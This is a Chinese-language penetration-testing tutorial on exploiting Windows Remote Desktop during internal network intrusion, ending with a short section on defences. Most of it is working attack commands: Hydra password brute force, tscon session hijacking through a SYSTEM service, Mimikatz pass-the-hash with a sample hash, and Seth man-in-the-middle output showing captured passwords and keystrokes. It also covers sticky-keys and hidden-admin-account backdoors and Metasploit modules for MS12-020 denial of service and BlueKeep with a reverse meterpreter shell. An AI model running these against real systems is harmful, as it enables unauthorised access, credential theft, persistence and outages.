<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透測試:初探遠程桌面的安全問題

    VSole2022-04-23 06:32:59

    前言

    遠程桌面對了解內網滲透的人來說可能再熟悉不過了。在滲透測試中,拿下一臺主機后有時候會選擇開 3389 進遠程桌面查看一下對方主機內有無一些有價值的東西可以利用。但是遠程桌面的利用不僅如此,本節我們便來初步匯總一下遠程桌面在內網滲透中的各種利用姿勢。

    文中若有不當之處還請各位大佬多多點評

    我的博客:https://whoamianony.top/

    RDP 協議

    RDP,Remote Desktop Protocol,遠程桌面協議,該協議是對國際電信聯盟發布的一個國際標準的多通道會議協議T.120 的一個擴展。遠程桌面協議讓用戶(客戶端或稱“本地電腦”)連上提供微軟終端機服務的電腦(服務器端或稱“遠程電腦”)。大部分的 Windows、Linux、FreeBSD、Mac OS X 都有相應的客戶端。遠程桌面協議在服務端默認監聽 TCP 3389 端口的數據。遠程桌面協議為用戶提供了通過網絡連接遠程登錄到另一臺計算機的圖形界面。

    RDP 服務的確定和啟動

    RDP 服務的確定

    注冊表查詢

    通過以下命令查詢注冊表來查看 RDP 服務是否開啟:


    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections    # 查看RDP服務是否開啟: 1關閉, 0開啟 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber    # 查看 RDP 服務的端口
    

    進程查看

    通過以下命令來查看是否有 RDP 服務的進程:


    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections    # 查看RDP服務是否開啟: 1關閉, 0開啟 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber    # 查看 RDP 服務的端口
    

    端口掃描

    攻擊者可以借助 Nmap 掃描來驗證端口 3389 是否被打開:


    nmap -sV -sC -p 3389 192.168.93.30
    

    RDP 服務的啟動

    如果發現 3389 并沒有開啟,我們使用以下方式開啟它。

    修改注冊表啟動

    先通過修改注冊表來設置一下允許遠程桌面連接:


    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    

    然后可以再配置一下防火墻,設置為允許遠程桌面連接,命令:


    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    

    通過 Metasploit 模塊啟動

    拿到目標主機的 meterpreter 后,如果我們想登陸目標主機的遠程桌面,我們可以使用 post/windows/manage/enable_rdp 模塊對目標主機快速完成上述配置:


    use post/windows/manage/enable_rdpset session 1exploit
    

    RDP 服務的連接

    開啟目標主機的遠程桌面后,我們便可以對目標主機進行連接了:

    Linux 系統上的可以使用 rdesktop:


    redesktop 192.168.93.30# redesktop IP
    

    Windows系統上可以使用 mstsc.exe

    特別要注意一下,有時候,僅開啟了遠程桌面還不行,在連接時可能出現以下報錯:

    這就需要關閉鑒權模式,我們采用如下命令,這里0代表關閉,1代表開啟:


    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
    

    即取消 “僅允許運行使用網絡界別身份驗證的遠程桌面的計算機連接” 這一安全設置。

    此時就可以正常連接了:

    對 RDP 口令進行暴力破解

    在實戰中,攻擊者可以借助 Nmap 來掃描目標主機 3389 端口是否開啟,如果目標主機開啟了 3389 端口,那我們便可以對目標主機的遠程桌面登錄口令進行暴力猜解。

    下面我們通過 Hydra 工具來展示對 RDP 進行爆破:


    Hydra -v -f -l whoamianony\administrator -P /root/wordlists.txt rdp://192.168.93.30
    

    如上圖所示,成功獲取到目標主機 administrator 的登錄口令,使用此憑據攻擊者可以登錄遠程桌面服務:

    RDP 劫持實現未授權登錄

    對于開啟遠程桌面服務的 Windows 系統,當有多個用戶登錄該系統時,會產生多個會話,如下圖:

    其中,管理員用戶 Administrator 為本地登錄,用戶 bunny 為通過遠程桌面服務(RDP)連接 3389 端口的遠程桌面登錄。接下來,如果用戶 Administrator 想要切換至用戶 bunny 的遠程桌面,可通過右鍵—> 連接(Connect)進行連接,接著輸入密碼即可切換到 bunny 用戶:

    點擊確定后,如下圖所示,成功切換到了 bunny 用戶的遠程桌面:

    而且,在 Windows 中有一個 tscon 命令,是命令行下使用的工具,也可以實現與上述相同的功能。

    首先執行如下命令獲取用戶對應的會話 ID:


    query user
    

    可以看到用戶 bunny 對應的會話 ID 為 2,然后通過執行 tscon 命令即可成功切換至用戶 bunny 的遠程桌面,命令如下:


    tscon 2 /PASSWORD:Bunny2021
    

    /PASSWORD:bunny 用戶的密碼

    可見,tscon 命令提供了一個切換用戶會話的功能,并且,在正常情況下,切換會話時需要提供目標用戶的登錄密碼。但這并不能完全確保會話安全,攻擊者通過特殊的利用方法完全能夠繞過驗證,不輸入密碼即可切換到目標會話,從而實現目標用戶的未授權登錄。

    而這里所講的特殊的利用方法便是在 SYSTEM 權限下直接執行 tscon 會話切換命令:


    tscon ID
    

    此時攻擊者可以在不提供其他用戶登錄憑據的情況下自由切換會話桌面,實現劫持其他用戶的 RDP 會話。

    RDP 會話劫持在特定情況下可以大顯身手,比如對于較新的 Windows 系統,默認情況下是無法通過 Mimikatz 導出用戶明文口令的,此時我們通過常規方法無法切換至另一用戶的桌面,那么我們便可以借助上文提到的方法,先提權至 SYSTEM 權限,再劫持目標用戶的 RDP 并切換過去。

    特別注意的是,即使遠程連接的用戶關閉了遠程連接窗口,也不會劫持該回話,只是在后臺顯示 “已斷開連接”(Disconnected):

    此時,仍能在 SYSTEM 權限下通過tscon實現未授權連接。

    高權限用戶劫持低權限用戶的 RDP

    高權限用戶劫持低權限用戶的 RDP 會話利用起來比較簡單,由于具有管理員權限,可以直接通過創建服務等方式獲取 SYSTEM 權限。

    創建劫持用戶會話的服務:


    sc create rdp binpath= "cmd.exe /k tscon 2 /dest:console"sc start rdp
    

    執行sc start rdp后,我們創建的劫持會話的服務將會啟動,由于 Windows 是以 SYSTEM 權限運行服務的,所以我們tscon 2命令也會以 SYSTEM 權限運行,此時便可以在不提供目標用戶密碼的情況下成功劫持目標用戶的會話:

    其實也可以使用 Psexec 來獲得一個 SYSTEM 權限的 cmd(Psexec 獲得的 shell 是 SYSTEM 權限的),然后再這個 SYSTEM 權限的 cmd 中直接執行tscon 2劫持命令:


    psexec -s -i cmd    # 獲得一個 SYSTEM 權限的 cmdquser user    # 在新獲得的 SYSTEM 權限的 cmd 中執行劫持命令tscon 2 /dest:console
    

    低權限用戶劫持高權限用戶的 RDP

    低權限用戶劫持高權限用戶的 RDP 會話利用起來沒有前者那么簡單,因為權限太低,所以無法執行創建服務,執行 Psexec 等高權限的命令。所以如果低權限用戶想要劫持高權限用戶的 RDP 的話需要想辦法提權,即將自己的權限提升至 SYSTEM。

    實驗環境如下:

    假設有這么一種情況,有一臺 Windows Server 2012 系統的服務器,其本地登錄著一個普通域用戶 bunny:

    我們通過某種方式獲得了這個 bunny 用戶的登錄密碼,并使用這個 bunny 用戶成功進行遠程登錄:

    此時,登錄后查看任務管理器發現后臺還存在管理員用戶 Administrator 的會話:

    并且使用query user命令查看其會話 ID 為 1。接下來我們嘗試劫持這個管理員用戶的遠程會話。

    首先使目標主機上線一個 bunny 用戶權限的 MSF,然后通過各種系統漏洞獲得了目標機的 System 權限:

    然后進入 shell 中執行 tscon 命令進行劫持即可:

    如上圖所示,成功劫持并切換到了 Administrator 用戶的遠程桌面。

    利用哈希傳遞登錄 RDP 遠程桌面

    Windows Server 2012 R2 采用了新版的 RDP 遠程桌面協議,在這個新版協議中有一個 ”受限管理員” (Restricted Admin)的特性。相信滲透測試人員和系統管理員都會對這個特性有足夠的興趣,因為通過這個特性,我們可以實現哈希傳遞攻擊并成功登錄遠程桌面。

    在抓取到的 Hash 無法破解的情況下,如果目標主機開啟了 “Restricted Admin Mode” 也行,那么我們便可以使用 Hash 來直接實現 RDP 遠程登錄。Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默認開啟。

    我們在滲透過程中可以通過修改注冊表的方式開啟目標主機的 Restricted Admin Mode,值為 0 代表開啟,值為 1 代表關閉:


    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /fREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"    # 查看是否成功開啟
    

    如上圖所示,成功在目標主機開啟了 Restricted Admin Mode。

    然后再攻擊機上使用 Mimikatz 進行哈希傳遞,大致原理就是哈希傳遞成功后執行mstsc.exe /restrictedadmin來打開:


    privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
    

    報錯了,說 CredSSP 加密數據庫錯誤,大概是因為 Windows 10 家庭版的原因吧。然后俺有換了另一個版本的 Windows 成功了:

    注意,這里的受限管理員模式顧名思義只對管理員組有效。所以如果你獲取到的用戶屬于遠程桌面用戶組,那么是無法通過 Hash 登錄的。

    RDP 遠程桌面中間人攻擊

    中間人攻擊通常會導致憑據捕獲。同樣的,在對 RDP 會話進行中間人攻擊,攻擊者可以獲得一個登錄用戶的明文密碼,用于后期的橫向移動。當 RDP 爆破走不通時,我們不妨嘗試一下中間人。

    Seth是一個用 Python 和 Bash 編寫的 RDP 中間人攻擊自動化工具,通過嘗試降級連接用以提取明文憑證來實現 MitM RDP 連接,而不管網絡級別的身份驗證(NLA)是否啟用。

    項目地址:https://github.com/SySS-Research/Seth

    使用該工具所要求的環境:

    Python 3
    Tcpdump
    Arpspoof
    Openssl

    運行界面如下:

    使用方法如下:


    ./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>]
    
    INTERFACE:網卡
    ATTACKER IP:中間人 IP
    VICTIM IP:連接者 IP
    GATEWAY IP|HOST IP:被連接的遠程主機 IP
    COMMAND:啟動時執行的命令

    執行以下命令啟動 seth 監聽:


    ./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30
    

    然后當 PC 上的用戶遠程登錄 DC 時便會抓取到登錄用戶的明文密碼。不僅如此,還可以對用戶鍵盤的操作進行記錄,甚至使用在目標主機上執行命令。

    詳情請看:https://www.freebuf.com/sectool/178146.html

    攻擊成功后類似如下:


    # ./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30
    ███████╗███████╗████████╗██╗  ██╗
    ██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
    ███████╗█████╗     ██║   ███████║   seth@vollmer.syss.de
    ╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
    ███████║███████╗   ██║   ██║  ██║   https://www.syss.de
    ╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
    [*] SpoofinG arp replies...
    [*] TurninG on IP forwardinG...
    [*] Set iptables rules for SYN packets...
    [*] WaitinG for a SYN packet to the oriGinal destination...
    [+] Got it! OriGinal destination is 192.168.93.30
    [*] Clone the x509 certificate of the oriGinal destination...
    [*] Adjust the iptables rule for all packets...
    [*] Run RDP proxy...
    ListeninG for new connection
    Connection received from 192.168.93.20:50431
    DownGradinG authentication options from 11 to 3
    Enable SSL
    alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
    Tamper with NTLM response
    TLS alert access denied, DownGradinG CredSSP
    Connection lost
    Connection received from 192.168.57.103:50409
    ListeninG for new connection
    Enable SSL
    Connection lost
    Connection received from 192.168.57.103:50410
    ListeninG for new connection
    Enable SSL
    HidinG forGed protocol request from client
    .\alice:ilovebob
    Keyboard Layout: 0x409 (EnGlish_United_States)
    Key press:   LShift
    Key press:   S
    Key release:                 S
    Key release:                 LShift
    Key press:   E
    Key release:                 E
    Key press:   C
    Key release:                 C
    Key press:   R
    Key release:                 R
    Key press:   E
    Key release:                 E
    Key press:   T
    Key release:                 T
    Connection lost
    [*] CleaninG up...
    [*] Done.
    

    獲取 RDP 遠程桌面連接記錄

    在滲透測試中,遠程桌面連接的歷史記錄不可忽視,根據歷史記錄往往能定位出關鍵的服務器。接下來我們就介紹一下如何導出 RDP 連接的歷史記錄。

    獲取 RDP 遠程桌面連接記錄可以通過枚舉注冊表完成,但是如果想要獲得所有用戶的歷史記錄,需要逐個獲得用戶的 NTUSER.DAT 文件,通過注冊表加載配置單元,導入用戶配置信息,再進行枚舉才能夠實現。

    導出當前用戶的歷史記錄

    可以通過枚舉下面的注冊表鍵值查看當前用戶的歷史記錄:


    HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
    

    如下圖所示,每個注冊表項保存連接的服務器地址,其中的鍵值UsernameHint對應登錄用戶名:

    看也可以通過 PowerShell 命令行來實現,首先通過以下命令枚舉指定注冊表項下所有的的子項,即當前用戶所連接過的所有的主機名:


    dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
    

    然后使用以下命令查詢指定注冊表項的注冊表鍵值,即查看連接所使用的用戶名:


    (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.93.30").UsernameHint
    

    下面給出一個三好學生寫的枚舉腳本:


    $RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\"
    $QueryPath = dir $RegPath -Name
    foreach($Name in $QueryPath)
    {   
        Try  
        {  
            $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop | Out-Null).UsernameHint
                Write-Host "Server:"$Name
                Write-Host "User:"$User"`n"
            }
            Catch  
            {
            Write-Host "No RDP Connections History"
            }
    }
    

    導出已登錄用戶的歷史記錄

    已登錄用戶的注冊表信息會同步保存在HKEY_USERS\目錄下,要對應每個用戶的 SID:

    可以看到,當前系統登錄三個用戶,分別有三個子項。我們可以通過枚舉注冊表鍵值

    HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers

    就能夠獲得已登錄用戶的遠程桌面連接歷史記錄:

    也就是說,如果當前主機登錄了兩個用戶,那么這兩個用戶的注冊表信息都會保存在HKEY_USERS\下。但如果第三個用戶未登錄,此時是無法直接獲得該用戶的注冊表信息的,會報如下錯誤:
    也就無法直接導出該用戶的遠程桌面連接歷史記錄。

    最后給出一個三好學生寫的枚舉腳本:


    $AllUser = Get-WmiObject -Class Win32_UserAccountforeach($User in $AllUser){$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"Write-Host "User:"$User.NameWrite-Host "SID:"$User.SIDWrite-Host "Status:"$User.StatusTry  { $QueryPath = dir $RegPath -Name -ErrorAction Stop}Catch{Write-Host "No RDP Connections History"Write-Host "----------------------------------"continue}foreach($Name in $QueryPath){   Try  {  $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHintWrite-Host "Server:"$NameWrite-Host "User:"$User}Catch  {Write-Host "No RDP Connections History"}}Write-Host "----------------------------------" }
    

    導出所有用戶的歷史記錄

    前面剛說了,對于未登錄用戶,無法直接獲得注冊表配置信息,那有什么解決辦法?其實這里可以通過加載配置單元的方式來解決,即打開用戶的 NTUSER.DAT 文件,加載配置單元導入用戶配置信息,然后進行枚舉。

    選中 HKEY_USERS 項,“文件” —> “加載配置單元”,如下圖:

    選擇打開用戶的 NTUSER.DAT 文件,路徑為C:\Documents and Settings\用戶名\NTUSER.DAT,這里以當前未登錄的 moretz 用戶為例:

    接著指定一個項名稱,即可在 HKEY_USERS 下讀取該用戶的注冊表配置信息,如下圖所示:

    然后按照之前的路徑進行枚舉即可。

    此外,也可以通過命令行實現加載配置單元的實例:


    Reg load HKEY_USERS\testmoretz C:\Documents and Settings\moretz\NTUSER.DAT
    

    最后給出一個三好學生寫的枚舉腳本:

    https://github.com/3gstudent/List-RDP-Connections-History

    與遠程桌面相關的權限維持方法

    Windows 粘滯鍵與輔助功能后門

    估計你在我之前的文章中已經看到過 Shift 粘滯鍵后門的相關介紹。如果你在電腦上連按五次 shift 鍵,你就會發現電腦屏幕上彈出了一個叫做“粘滯鍵”的程序:

    即使在沒有登錄進系統之前,連按五次shift鍵也可以彈出這個程序:

    思考一下,如果我們知道了這個程序的絕對路徑,那么我們就可以將 cmd.exe 偽裝成這個粘滯鍵程序,當我們連按五次 shift 鍵時,便會彈出一個 CMD 命令行窗口,那么我們就可以無需登錄進系統便可以控制目標主機了。

    粘滯鍵程序名稱為 “sethc.exe”,

    其路徑為“c:\windows\system32\sethc.exe”。

    利用粘滯鍵做后門是一種比較常見的持續控制方法。其基本流程如下:

    首先,我們手動或利用工具,找到sethc.exe將其刪除或改名為sethc.exe.bak,接著將cmd.exe程序復制一個副本,并命名為“sethc.exe”。
    最后,重啟計算機再次按下5次Shift鍵時,就會彈出CMD界面,后門制作成功。

    制作的方法如下,在目標主機上執行如下命令即可:


    cd c:\windows\system32  move sethc.exe sethc.exe.bak   // 將sethc.exe重命名copy cmd.exe sethc.exe       // 將一個cmd.exe副本保存偽裝成sethc.exe
    

    此時,我們打開目標主機的遠程桌面,連續按下五次shift鍵,便可以看到目標主機屏幕上成功彈出了一個 CMD 窗口:

    如上圖,該 cmd 是以 SYSTEM 權限運行的,接下來我們就可以無需知道登錄密碼,無需登錄,直接繞過登錄頁面對目標主機執行各種高權限的操作了,也完全可以新建一個高權限用戶直接登錄進入系統,是不是很有意思?

    但是,先別高興地太早了,在一些做了防護的主機上,即使是SYSTEM權限也是無法修改 sethc.exe的,只有TrustedInstaller權限才可以,這時,我們就要先模擬一個TrustedInstaller權限的令牌獲取TrustedInstaller權限,然后再執行上述操作。我們的思路如下:

    當我們啟動TrustedInstaller服務時

    會啟動進程TrustedInstaller.exe,

    該程序的權限為NT SERVICE\TrustedInstaller,那么我們就可以竊取該進程的令牌。

    首先進入shell啟動TrustedInstaller服務:


    sc.exe start TrustedInstaller       # 先進入shell啟動TrustedInstaller服務
    

    然后執行如下即可:


    use incognitops      # 找到TrustedInstaller的進程PID,這里為3476steal_token       # 從該進程中竊取令牌getuid
    

    此時便可以對 sethc.exe 進行任何操作了。

    由于此時獲得的 CMD 是 SYSTEM 權限的,所以我們這里可以直接配合 RDP 劫持進去目標系統。如下圖所示,發現目標主機上有三個用戶的會話,那我們便可以通過tscon進行隨意的劫持與切換:

    執行tscon 1命令后,如下圖所示,成功劫持并切換到了 administrator 用戶的會話:

    除了這里的粘滯鍵 sethc 外,在 Windows 登錄界面上還有很多輔助功能:

    如上圖所示,可以看到有屏幕鍵盤,放大鏡,屏幕閱讀等,這些額外的輔助功能選項可以幫助殘疾人更容易地使用操作系統。這些輔助功能都可以像粘滯鍵 sethc 一樣被攻擊者用來制作一個后門。

    Metasploit 中的post/windows/manage/sticky_keys模塊可實現自動化地利用沾滯鍵的權限維持技術。該模塊將用 cmd.exe 替換那些輔助功能的二進制文件(sethc、osk、disp、utilman):

    使用方法如下:


    use post/windows/manage/sticky_keysset session 6set target UTILMANexploit
    

    如上圖所示,執行成功。

    此時,我們開啟目標主機的遠程桌面,當我們點擊左下角的輔助功能按鈕后,成功彈出了 CMD 窗口,并且為 SYSTEM 權限的:

    不僅是 CMD,我們還可以換成任意的 Payload 用于釣魚,當受害者使用響應功能時便會觸發 Payload 實施攻擊。

    Windows 系統隱藏賬戶

    該方法是通過建立隱藏賬戶,制作一個可以對目標主機進行遠程桌面等的的系統用戶,維持對目標 Windows 系統權限。制作方法跟步驟如下:

    (1)在目標主機 cmd 中輸入以下命令,創建一個與這鞥長域用戶 whoami 類似反名為 whoami$ 的隱藏賬戶,并把該隱藏賬戶設置為管理員權限:


    net user whoami$ Liu78963 /addnet localgroup administrators whoami$ /add
    

    如上圖,我們已經創建成功,執行 net user 命令,發現是看不到 whoami$ 用戶的:

    然后,為了能使剛創建的 whoami$ 用戶有權限登錄目標機的遠程桌面,我們還需要在計算機遠程中添加 admin$ 用戶:

    此時便可以直接使用該隱藏用戶登錄 3389 遠程桌面進行操作了:

    但是此時隱蔽性仍不足,因為在控制面板和計算機管理的本地用戶和組中,仍然是可以看的到該用戶的:

    為了更好地隱藏我們的后門賬戶,我們還要開啟目標主機的遠程桌面進行如下操作。

    打開注冊表編輯器,找到HKEY_LOCAL_MACHINE\SAM\SAM,單機右建,選擇 “權限”,把 Administrator 用戶的權限,設置成“完全控制”權限,然后關閉注冊表編輯器,再次打開即可。

    這樣 SAM 下的文件就都能看見了。

    然后,在注冊表編輯器的

    HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names處,

    點擊Administrator用戶,在左側找到和在右邊顯示的鍵值的類型一項“0x1f4”相同的目錄名,也就是箭頭所指目錄 “000001F4”:

    復制000001F4目錄中的 F 鍵的值:

    然后找到與隱藏賬戶 whoami$ 右邊類型的鍵值 “0x3ea” 相同的目錄名,也就是 “000003EA”:

    然后將000001F4的F值粘貼到000003EA的F值中,點擊確定:

    然后從注冊表中右鍵導出子項000003EA和 whoami$ ,并使用net user whoami$ /del刪除 whoami$ 用戶:

    此時,查看注冊表以及本地用戶和組或者控制面板,whoami$ 用戶就已經沒有了。

    最后,再將剛才導出的兩個后綴為 .reg 的注冊表項導入注冊表中:

    這樣我們的隱藏賬戶 whoami$ 就創建好了。現在,不管你是在命令提示符下輸入 net user 或者在系統用戶管理界面都是看不到 whoami$ 這個賬戶的,只有在注冊表中才能看得到。

    與遠程桌面相關的漏洞

    對 3389 端口的 DOS 攻擊

    這一利用借助的是 2012 年爆出來的 MS12-020 遠程桌面協議 RDP 遠程代碼執行漏洞(CVE-2012-0002)。該漏洞是由于 Windows 在處理某些對象時存在錯誤,可通過特制的 RDP 報文訪問未初始化或已經刪除的對象,導致任意代碼執行,然后控制系統。下面我們使用 Windows 7 系統進行復現。

    在 Metasploit 中有兩個該漏洞的利用模塊:

    首先為了確定目標主機是否容易受到該漏洞的影響,可以先使用第二個命令來進行檢測:


    use auxiliary/scanner/rdp/ms12_020_checkset rhosts 192.168.93.20set rport 3389exploit
    

    目標機存在漏洞,然后嘗試使用第一個模塊進行攻擊,這將對目標系統發起 DOS 攻擊,最終導致目標系統藍屏:


    use auxiliary/dos/windows/rdp/ms12_020_maxchannelidsset rhosts 192.168.93.20set rport 3389exploit
    

    如下圖所示,“死亡藍屏” 出現啦:

    從上圖中可以看到目標系統是由于某些問題導致系統正在關閉。DoS 攻擊執行者通常攻擊托管在諸如銀行或信用卡支付網關等高端 Web 服務器上的站點或服務,通過暫時或無限期地中斷連接 Internet 的主機服務,使其目標用戶無法使用機器或網絡資源。

    CVE-2019-0708

    2019 年 5 月 14 日微軟官方發布安全補丁,修復了 Windows 遠程桌面服務的遠程代碼執行漏洞(CVE-2019-0708),該高危漏洞利用方式是通過遠程桌面端口 3389,RDP 協議進行攻擊的。

    此漏洞是預身份驗證且無需用戶交互,這就意味著這個漏洞可以通過網絡蠕蟲的方式被利用。利用此漏洞的任何惡意軟件都可能從被感染的計算機傳播到其他易受攻擊的計算機,其方式與 2017 年 WannaCry 惡意軟件的傳播方式類似。

    它影響了某些舊版本的 Windows 系統,包括:

    Windows 7 foR 32-bit Systems Service Pack 1
    Windows 7 for x64-based Systems Service Pack 1
    Windows Server 2008 foR 32-bit Systems Service Pack 2
    Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)
    Windows Server 2008 for Itanium-Based Systems Service Pack 2
    Windows Server 2008 for x64-based Systems Service Pack 2
    Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
    Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
    Windows Server 2008 R2 for x64-based Systems Service Pack 1
    Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
    Windows XP SP3 x86
    Windows XP Professional x64 Edition SP2
    Windows XP Embedded SP3 x86
    Windows Server 2003 SP2 x86
    Windows Server 2003 x64 Edition SP2

    Windows 8 和 Windows 10 及之后版本的用戶不受此漏洞的影響。

    在 Metasploit 中已經有了該漏洞的利用模塊:

    第一個模塊用來檢測目標機是否存在漏洞,第二個模塊用來進行攻擊。設置好參數直接利用即可:


    use exploit/windows/rdp/cve_2019_0708_bluekeep_rceset payload windows/x64/meterpreter/reverse_tcpset rhosts 192.168.93.20set lhost 192.168.93.128set rdp_client_ip 192.168.93.20unset RDP_CLIENT_NAMset target 2    # 這里的 2 代表目標機為虛擬機環境exploit
    

    如下圖所示,攻擊成功并得到了 meterpreter:

    如何防御你的 RDP

    添加安全策略以防止暴力破解

    管理員可以使用帳戶鎖定策略保護其網絡免受暴力破解攻擊,具體有以下相關策略:

    帳戶鎖定持續時間:用于定義鎖定帳戶保持時間段的策略,直到自動解鎖或由管理員重置。當用戶超過帳戶鎖定閾值設置的登錄嘗試時,它將鎖定帳戶指定的時間。
    帳戶鎖定閾值:定義失敗登錄嘗試次數的策略,將在帳戶鎖定持續時間指定的某段時間內鎖定帳戶。它將允許最大數量指定嘗試登錄您的帳戶。
    被鎖賬戶鎖定計數器:用于定義登錄嘗試失敗后必須經過的時間段的策略。重置時間必須小于或等于帳戶鎖定時間。

    端口修改

    可以在另一個端口上轉發端口 3389 以提高系統的安全性。我們可以導航到下面的注冊表子項進行修改:


    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
    

    單擊 “編輯”>“修改” ,然后單擊“十進制”并鍵入新端口號,單擊“確定” 后重新啟動計算機即可生效。

    也可以運行以下 PowerShell 命令來更改 RDP 端口,在此命令中,我們會將新的 RDP 端口指定為 3390:


    Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value 3390New-NetFirewallRule -DisplayName 'RDPPORTLatest' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3390
    

    通過系統自帶防火墻保護 RDP

    我們可以打開具有高級設置的防火墻的面板,設定遠程桌面的 TCP-In 相關配置從而添加安全過濾器。


    來自freebuf
    

    如侵權請私聊公眾號刪文

    滲透測試遠程桌面連接
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    遠程桌面對了解內網滲透的人來說可能再熟悉不過了。在滲透測試中,拿下一臺主機后有時候會選擇開 3389 進遠程桌面查看一下對方主機內有無一些有價值的東西可以利用。但是遠程桌面的利用不僅如此,本節我們便來初步匯總一下遠程桌面在內網滲透中的各種利用姿勢。
    通常認為遠程桌面協議是連接遠程計算機的安全且值得信賴的應用程序,全球數以千計的 IT 專業人員和安全研究人員都在使用遠程桌面協議管理者自己的計算機設備
    前言Windows 遠程桌面是用于管理 Windows 服務器的最廣泛使用的工具之一。
    這樣就獲取了system權限,接下來就是對機器進行信息搜集,獲取對我們橫向滲透有幫助的信息。其中記錄了tomcat部署的路徑,以及備份的源碼文件。經過一番爆破,發現了一臺機器oracle數據庫system用戶密碼未修改,為manager。大家應該知道oracle數據庫是可以執行系統命令的,而system用戶完全符合執行系統命令的條件。后面發現是火絨攔截了異常行為。
    SQlMAP --os-shell拿下webshell 眾所周知,--os-shell的使用條件較為苛刻,必須滿足: dba權限 網站絕對路徑 php中的gpc為off,php為自動轉義的狀態
    滲透技巧總結
    2022-01-28 21:33:52
    聲明以下技巧不應用于非法用途Tips 1. 手動端口探測nmap的-sV可以探測出服務版本,但有些情況下必須手動探測去驗證使用Wireshark獲取響應包未免大材小用,可通過nc簡單判斷eg.對于8001端口,nc連接上去,隨便輸入一個字符串,
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类